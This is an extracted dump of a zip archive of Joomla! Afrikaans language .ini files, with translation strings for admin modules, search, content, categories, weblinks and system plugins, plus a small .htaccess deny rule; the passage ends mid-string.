MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="Hierdie Module vertoon die sub-Menu Navigasie Module" PK@y>\EMM'language/af-ZA/af-ZA.tpl_hathor.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.tpl_hathor.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word HATHOR="Hathor Administrateur templet" TPL_HATHOR_POSITION_FOOTER="Voetskrif" TPL_HATHOR_POSITION_CP_SHELL="Ongebruik" TPL_HATHOR_POSITION_MENU="Menu" TPL_HATHOR_POSITION_TITLE="Titel" TPL_HATHOR_POSITION_SUBMENU="Submenu" TPL_HATHOR_POSITION_TOOLBAR="Nutsbalk" TPL_HATHOR_POSITION_ICON="Taak Ikone" TPL_HATHOR_POSITION_LOGIN="Inteken" TPL_HATHOR_POSITION_STATUS="Status" TPL_HATHOR_POSITION_CPANEL="Beheer Paneel" TPL_HATHOR_POSITION_CPANEL="Beheer Paneel" TPL_HATHOR_POSITION_DEBUG="Ontfout" TPL_HATHOR_XML_DESCRIPTION="Hathor is 'n toeganklike administrateur templet vir Joomla! 1.6. Die kleur CSS lêers kan ook gebruik word vir pasgemaakte kleur skema's." PK@y>\yepp-language/af-ZA/af-ZA.plg_system_debug.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_debug.sys.ini 1702 2012-01-30 08:13:33Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_DEBUG="Stelsel - Ontfout" PLG_DEBUG_XML_DESCRIPTION="Hierdie inprop-program gee 'n verskeidenheid of stelsel-inligting en hulp met die skeppingvan vertalings-lêers." PK@y>\+q, 'language/af-ZA/af-ZA.com_finder.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.com_finder.sys.ini 1701 2012-01-28 22:09:20Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Beskrywing Lengte" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Datum Filters" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Datum" COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Brei gevorderde soektog uit" COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Gevorderde Soektog" COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Rangskikkings-Rigting" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Opdalend" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Afstygend" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Lys prys" COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sorteer Veld" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="Die verstek soektog uitleg." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Soektog" COM_FINDER="Slim Soektog" COM_FINDER_CONFIG_SHOW_URL_LABEL="Resultaat URL" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="Die rigting waarin soektog-uitslae rangskik moet word." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Soektog Navraag" COM_FINDER_SELECT_SEARCH_FILTER="Kies Filter" COM_FINDER_XML_DESCRIPTION="Slim Soektog" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="Laat Leë Soektog toe" COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Resultaat Beskrywing" COM_FINDER_CONFIG_SHOW_FEED_LABEL="Vertoon Afvoer" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Toepaslikheid" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Soektog Filter" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Vertoon Afvoer Teks" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="'n Leë soek-string sal 'n soektog met die filter se beperkings opdra wanneer 'n filter gekies is." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="Beskrywingsteks vir soektog uitslae sal afgekort word na die aangegewe karakter-lengte." COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Wissel om die gevorderde soektog-opsies by verstek uit te brei." COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Wissel om gebruikers toe te laat om gevorderde soektog-opsies te sien." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Vertoon die begin- en einddatum filters in die gevorderde soektog." COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Wissel om die beskrywing met soektog uitslae te vertoon." COM_FINDER_CONFIG_SHOW_FEED_DESC="Vertoon die sindikeerde afvoer-skakel" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Vertoon die teks wat met die afvoer geassosieerde is, anders sal net die titel in die afvoer vertoon word." COM_FINDER_CONFIG_SHOW_URL_DESC="Vertoon die URL wat met die item geassosieer is." COM_FINDER_CONFIG_SORT_ORDER_DESC="Die veld waarvolgens soektog uitslae gesorteer sal word." COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Deur 'n Soektog Filter te kies sal alle soektog-bygedrae van die gekose filter gebruik maak." COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Deur soektog-terme in te tik, sal hierdie menu item outomaties die uitslae vir die vooraangegewe terme teruggee." PK@y>\_Q!55/language/af-ZA/af-ZA.plg_editors_codemirror.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors_codemirror.ini 1709 2012-02-05 13:15:54Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Vertoon line nommers" PLG_EDITORS_CODEMIRROR="Redigeerder - CodeMirror" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Lyn nommers" PLG_CODEMIRROR_XML_DESCRIPTION="Hierdie inprop-program laai die CodeMirror redigeerder." PLG_CODEMIRROR_FIELD_TABMODE_LABEL=" modus" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Inkeep" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Skuif" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Inkeep - Die inkeep-sleutel (Tab) keep die gekiesde teks in volgens die parseerder se reels. Skuif - Die Shift-Tab sleutelkombinasie ont-keep die gekiesde teks een posisie terug." PK@y>\$language/af-ZA/af-ZA.mod_version.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.mod_version.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION_FORMAT_LONG="Lank" MOD_VERSION_FORMAT_SHORT="Kort" MOD_VERSION_FORMAT_LABEL="Versie formaat" MOD_VERSION_FORMAT_DESC="Die lang versie sluit die kodenaam en datum in" MOD_VERSION_PRODUCT_LABEL="Vertoon Joomla!" MOD_VERSION="Joomla! Versie Inligting" MOD_VERSION_XML_DESCRIPTION="Hierdie module vertoon die Joomla! versie." MOD_VERSION_PRODUCT_DESC="Sluit Joomla! naam in wanneer kort formaat gebruik word" PK@y>\g (language/af-ZA/af-ZA.com_content.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_content.sys.ini 1750 2012-04-03 22:32:33Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONTENT="Artikels" COM_CONTENT_CATEGORIES="Kategorië" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Verstek" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="Lys alle Kategorië" COM_CONTENT_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe Artikel Kategorie" COM_CONTENT_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer 'n Artikel Kategorie" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Vertoon artikel inleiding in 'n enkele- of multi-kolom uitleg." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blog" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Kategorie Blog" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Vertoon 'n lys van artikels in 'n kategorie." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="Lys" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Kategorie Lys" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Vertoon alle glans-artikels van een kategorie in 'n enkele- of multi-kolom uitleg." COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Verstek" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Glans-Artikels Enkel Kategorie" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Vertoon alle argiveerde artikels." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Verstek" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Argiveerde Artikels" COM_CONTENT_ARTICLE_MANAGER="Artikel Bestuurder" COM_CONTENT_ARTICLES="Artikels" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Vertoon 'n enkele artikel." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Verstek" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Kriëer 'n nuwe artikel" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Kriëer" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Kriëer Artikel" COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Verstek" COM_CONTENT_FEATURED="Hooftrekke" COM_CONTENT_XML_DESCRIPTION="Artikel bestuur komponent" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Enkele Artikel" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Hooftrek-Artikels" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Vertoon 'n lys van al die artikel-kategorië binne-in 'n kategorie." COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Vertoon artikel inleidings in 'n enkel- of multi-kolom uitleg vir gehooftrekde artikels van alle kategorië. " PK@y>\c'language/af-ZA/af-ZA.com_categories.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_categories.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word CATEGORIES_FIELDSET_OPTIONS="Opsies" COM_CATEGORIES="Kategorië" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d kategorie suksesvol ingeteken" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d kategorië suksesvol ingeteken" COM_CATEGORIES_N_ITEMS_DELETED_1="%d kategorie suksesvol geskrap" COM_CATEGORIES_N_ITEMS_DELETED="%d kategorië suksesvol geskrap" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d kategorie suksesvol gepubliseer" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d kategorië suksesvol gepubliseer" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d kategorie suksesvol gepurgeer" COM_CATEGORIES_N_ITEMS_TRASHED="%d kategorië suksesvol gepurgeer" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d kategorie suksesvol ontpubliseer" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d kategorië suksesvol ontpubliseer" COM_CATEGORIES_ITEMS_SEARCH_FILTER="Soektog" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d kategorie suksesvol geargiveer" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d kategorië suksesvol geargiveer" COM_CATEGORIES_FIELDSET_DETAILS="Besonderhede" COM_CATEGORIES_FIELDSET_RULES="Kategorie Toestemmings" COM_CATEGORIES_CATEGORIES_BASE_TITLE="Kategorie Bestuurder" COM_CATEGORIES_CATEGORIES_TITLE="Kategorie Bestuurder: %s" COM_CATEGORIES_FIELD_IMAGE_LABEL="Beeld" COM_CATEGORIES_FIELD_PARENT_LABEL="Ouer" COM_CATEGORIES_SAVE_SUCCESS="Kategorie suksesvol gestoor" COM_CATEGORIES_FIELD_PARENT_DESC="Kies 'n Ouer Kategorie" COM_CATEGORIES_XML_DESCRIPTION="Hierdie komponent bestuur kategorië" COM_CATEGORIES_BATCH_CATEGORY_LABEL="Kies Kategorie vir Skuif/Kopieer" COM_CATEGORIES_BASIC_FIELDSET_LABEL="Basiese Opsies" COM_CATEGORIES_CATEGORY_OPTIONS="Kategorie Opsies" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Kategorie Bestuurder: Voeg Nuwe Kategorie" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Kategorie Bestuurder: Redigeer Kategorie" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer 'n %s Kategorie" COM_CATEGORIES_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe %s Kategorie" COM_CATEGORIES_DELETE_NOT_ALLOWED="Skrap nie vir kategorie %s toegelaat nie." COM_CATEGORIES_DESCRIPTION_DESC="Tik in 'n optionele kategorie beskrywing in die teks-area." COM_CATEGORIES_FIELD_IMAGE_DESC="Kies 'n beeld vir hierdie kategorie" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Wys 'n taal aan hierdie kategorie toe." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d items is toegewys aan hierdie kategorie se subkategorië." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d item is toegewys aan een van hierdie kategorie se subkategorië." COM_CATEGORIES_N_ITEMS_ASSIGNED="%d items is aan hierdie kategorie toegewys." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d item is aan hierdie kategorie toegewys." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="Geen kategorie is suksesvol ingeteken nie" COM_CATEGORIES_REBUILD_FAILURE="Gefaal met de herbou van Kategorië takboom-data." COM_CATEGORIES_REBUILD_SUCCESS="Kategorië takboom-data suksesvol herbou." COM_CATEGORIES_ACCESS_CREATE_DESC="Nuwe instelling vir skep aksies p[ hierdie kategorie, en berekende instellings gebaseer op die Ouer-kategorie en groep-toegangsregte." COM_CATEGORIES_ACCESS_DELETE_DESC="Nuwe instelling vir skrap aksies op hierdie kategorie, en berekende instellings gebaseer op die Ouer-kategorie en groep-toegangsregte." COM_CATEGORIES_ACCESS_EDIT_DESC="Nuwe instelling vir redigeer aksies op hierdie kategorie, en berekende instellings gebaseer op die Ouer-kategorie en groep-toegangsregte." COM_CATEGORIES_ACCESS_EDITOWN_DESC="Nuwe instelling vir redigeer-eie aksies op hierdie kategorie, en berekende instellings gebaseer op die Ouer-kategorie en groep-toegangsregte." COM_CATEGORIES_ACCESS_EDITSTATE_DESC="Nuwe instelling vir redigeer staat aksies op hierdie kategorie, en berekende instellings gebaseer op die Ouer-kategorie en groep-toegangsregte." COM_CATEGORIES_BATCH_OPTIONS="Bondelloop die gekiesde kategorië" COM_CATEGORIES_BATCH_CANNOT_CREATE="Jy is nie gemagtig om nuwe kategorië in hierdie kategorie te skep nie." COM_CATEGORIES_BATCH_CANNOT_EDIT="Jy is nie gemagtig om een of meer van hierdie kategorië te redigeer nie." JGLOBAL_NO_ITEM_SELECTED="Geen kategorië gekies nie" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Kan nie die gepubliseer staat verander wanneer die ouer-kategorie in 'n laer staat is." JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this category. Click the tabs above to customize these settings by action." JLIB_RULES_SETTING_NOTES_ITEM="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_CATEGORIES_BATCH_TIP="Indien jy kies om 'n kategorie te kopieer, sal enige ander gekose aksies ook op die gekopieerde kategorie toegepas word." PK@y>\ܴQQ*language/af-ZA/af-ZA.com_installer.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_installer.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_INSTALLER="Installeering Bestuurder" COM_INSTALLER_XML_DESCRIPTION="Installeerder komponent vir byvoeging, verwydering en opgradeering van ekstensies" PK@y>\(language/af-ZA/af-ZA.mod_version.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.mod_version.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION_XML_DESCRIPTION="Hierdie module vertoon die Joomla! versie." MOD_VERSION="Joomla! Versie Inligting" MOD_VERSION_LAYOUT_DEFAULT="Verstek" PK@y>\)language/af-ZA/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}}2language/af-ZA/af-ZA.plg_authentication_joomla.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_authentication_joomla.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_AUTHENTICATION_JOOMLA="Stawing - Joomla!" PLG_AUTH_JOOMLA_XML_DESCRIPTION="Hanteer Joomla! se verstek gebruiker-stawing
              Waakskuwing! Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PK@y>\K =)language/af-ZA/af-ZA.plg_system_cache.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: en-GB.plg_system_cache.ini ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_CACHE="Stelsel - Kas" PLG_CACHE_FIELD_LIFETIME_LABEL="Kas Lewenstyd" PLG_CACHE_FIELD_LIFETIME_DESC="Bladsy kas levensduur in minute" PLG_CACHE_XML_DESCRIPTION="Verskaf bladsy kasseering" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Gebruik Browser Kasseering" PLG_CACHE_FIELD_BROWSERCACHE_DESC="Indien Ja, gebruik meganisme om die bladsy kas in die webblaaier te stoor" PK@y>\nH9!9!%language/af-ZA/af-ZA.com_weblinks.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_weblinks.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FILTER_STATE="Filter Staat" COM_WEBLINKS_NEW_WEBLINK="Nuwe Web skakel" COM_WEBLINKS="Webskakels" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Aantal Klieke" COM_WEBLINKS_OPTIONS="Opsies" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Ander kategorië" COM_WEBLINKS_MANAGER_WEBLINK="Webskakels Bestuurder: Webskakels" COM_WEBLINKS_N_ITEMS_TRASHED="%d webskakels suksesvol gepurgeer" COM_WEBLINKS_ACCESS_HEADING="Toegang" COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Ikoon" COM_WEBLINKS_FIELD_VALUE_REPORTED="Raporteer" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Filter Staat -" COM_WEBLINKS_SAVE_SUCCESS="Webskakels suksesvol gestoor" COM_WEBLINKS_ORDER_HEADING="Rangskikking" COM_WEBLINKS_ORDER_HEADING="Rangskikking" COM_WEBLINKS_COMPONENT_LABEL="Webskakel" COM_WEBLINKS_FIELD_TARGET_LABEL="Teiken" COM_WEBLINKS_EDIT_WEBLINK="Redigeer Webskakels" COM_WEBLINKS_FILTER_CATEGORY="Filter Kategorie" COM_WEBLINKS_SEARCH_IN_TITLE="Soektog in titel" COM_WEBLINKS_SUBMENU_CATEGORIES="Kategorië" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d webskakels suksesvol geargiveer" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d webskakels suksesvol ingeteken" COM_WEBLINKS_FIELD_STATE_DESC="Staat Beskrywing" COM_WEBLINKS_SUBMENU_WEBLINKS="Webskakels" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filter Kategorie -" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Vertoon/Versteek trefslae" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Inleiding" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Raporte" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Aantal Klieke" COM_WEBLINKS_FIELD_URL_DESC="Jy moet 'n URL intik." COM_WEBLINKS_N_ITEMS_DELETED="%d webskakels suksesvol geskrap" COM_WEBLINKS_XML_DESCRIPTION="Komponent vir die bestuur van webskakels" COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="# of Web skakels om te Lys" COM_WEBLINKS_MANAGER_WEBLINKS="Webskakels Bestuurder: Webskakels" COM_WEBLINKS_ERR_TABLES_TITLE="Jou Webskakel moet 'n titel hê." COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Skakel beskrywing" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d webskakels suksesvol gepubliseer" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filter Toegang -" COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Verskaf asseblief 'n geldige URL" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d webskakels suksesvol ontpubliseer" COM_WEBLINKS_HITS_DESC="Aantal trefslae vir hierdie webskakel" COM_WEBLINKS_CONFIGURATION="Webskakel Bestuurder Opsies" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="# Web skakels" COM_WEBLINKS_N_ITEMS_DELETED_1="%d webskakels suksesvol geskrap" COM_WEBLINKS_FIELD_CATEGORY_DESC="Kies 'n kategorie vir hierdie Web skakel" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Tik 'n beskrywing vir die web skakel." COM_WEBLINKS_N_ITEMS_TRASHED_1="%d webskakels suksesvol gepurgeer" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d webskakels suksesvol gepubliseer" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="Geen webskakels is suksesvol ingeteken nie" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Wys 'n taal aan hierdie webskakel toe" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d webskakels suksesvol geargiveer" COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="Verstek aantal Web skakels om te lys per bladsy." COM_WEBLINKS_FIELDSET_OPTIONS="Basiese Opsies" COM_WEBLINKS_FIELD_TITLE_DESC="Jou Webskakels moet 'n Titel hê" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d webskakels suksesvol ontpubliseer" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC=\Vertoon/Versteek die skakels se beskrywing" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Vertoon/Versteek ander kategorië" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Vertoon/Versteek die Raporteer Swak Skakel opsie" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Vertoon/Versteek die beskrywing hieronder" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="Kies 'n ikoon om met die web skakels te vertoon" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Tik hier 'n teks in was as 'n inleiding vir die web-skakels sal dien" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Vertoon/Versteek die aantal Web skakels in elke Kategorie" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Kies asseblief 'n Web-skakel kategorie om te vertoon" COM_WEBLINKS_FIELD_ALIAS_DESC="Die alias word in die URL gebruik wanneer SEF ontsper is" COM_WEBLINKS_FIELD_HEIGHT_LABEL="Hoogte" COM_WEBLINKS_FIELD_WIDTH_LABEL="Breedte" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Kies 'n kategorie" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d webskakels suksesvol ingeteken" COM_WEBLINKS_FIELD_ICON_LABEL="Ikoon" COM_WEBLINKS_ERROR_UNIQUE_ALIAS="'n Ander Webskakel in hierdie kategorie het reeds dieselfde alias" COM_WEBLINKS_ERR_TABLES_NAME="Daar is reeds 'n Webskakel met daardie naam in hierdie kategorie. Probeer weer asseblief." COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="Indien na Ja gestel is, sal die aantal kere wat die skakel gekliek is gestaaf word" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="Indien na Ja gestel is, sal die aantal kere wat die skakel gekliek is gestaaf word" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Ikoon" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Teks" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Slegs Webskakels" COM_WEBLINKS_FIELD_MODIFIED_DESC="Die datum en tyd toe die skakel laas gewysig is" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Kies 'n webskakel-kategorie om te vertoon" JGLOBAL_NEWITEMSLAST_DESC="Nuwe nuus-afvoere verstek na die laaste posisie. Die volgorde kan gewysig word nadat hierdie nuus-afvoer gestoor is." JGLOBAL_NO_ITEM_SELECTED="Geen webskakels is gekies nie" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Jy is nie gemagtig om nuwe webskakels in hierdie kategorie te skep nie." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Jy is nie gemagtig om een of meer van hierdie webskakels te redigeer nie." COM_WEBLINKS_FIELD_HEIGHT_DESC="Hoogte van die opspring- of modale venster. Verstek na 600x500 wanneer een veld leeggelaat is." COM_WEBLINKS_BATCH_OPTIONS="Bondelverwerk die gekose skakels" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
